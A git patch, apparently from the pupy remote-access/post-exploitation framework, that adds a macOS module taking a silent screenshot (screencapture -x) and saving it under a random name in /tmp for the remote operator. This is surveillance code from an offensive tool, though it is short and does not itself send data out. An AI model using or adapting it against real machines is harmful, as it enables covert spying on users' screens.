From 77cbfd323ba8ab9e3b9b28f18c6e7fd38a2f5020 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Wed, 8 Feb 2017 11:55:49 +0100 Subject: [PATCH] OSX - screenshot remote function --- pupy/packages/darwin/screenshot.py | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) create mode 100644 pupy/packages/darwin/screenshot.py diff --git a/pupy/packages/darwin/screenshot.py b/pupy/packages/darwin/screenshot.py new file mode 100644 index 00000000..377aa610 --- /dev/null +++ b/pupy/packages/darwin/screenshot.py @@ -0,0 +1,22 @@ +import subprocess +import string +import random +import os + +def screenshot(): + randname=''.join([random.choice(string.ascii_lowercase) for i in range(0,random.randint(6,12))]) + screenpath = '/tmp/{name}.png'.format(name=randname) + + path_to_bin = '/usr/sbin/screencapture' + cmd = '{pathToBin} -x -C {screen_path}'.format(pathToBin=path_to_bin, screen_path=screenpath) + + if os.path.exists(path_to_bin): + process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) + # wait the end of the command + process.communicate() + if os.path.exists(screenpath): + return True, screenpath + else: + return False, 'screenshot failed' + else: + return False, 'binary %s not found' % path_to_bin \ No newline at end of file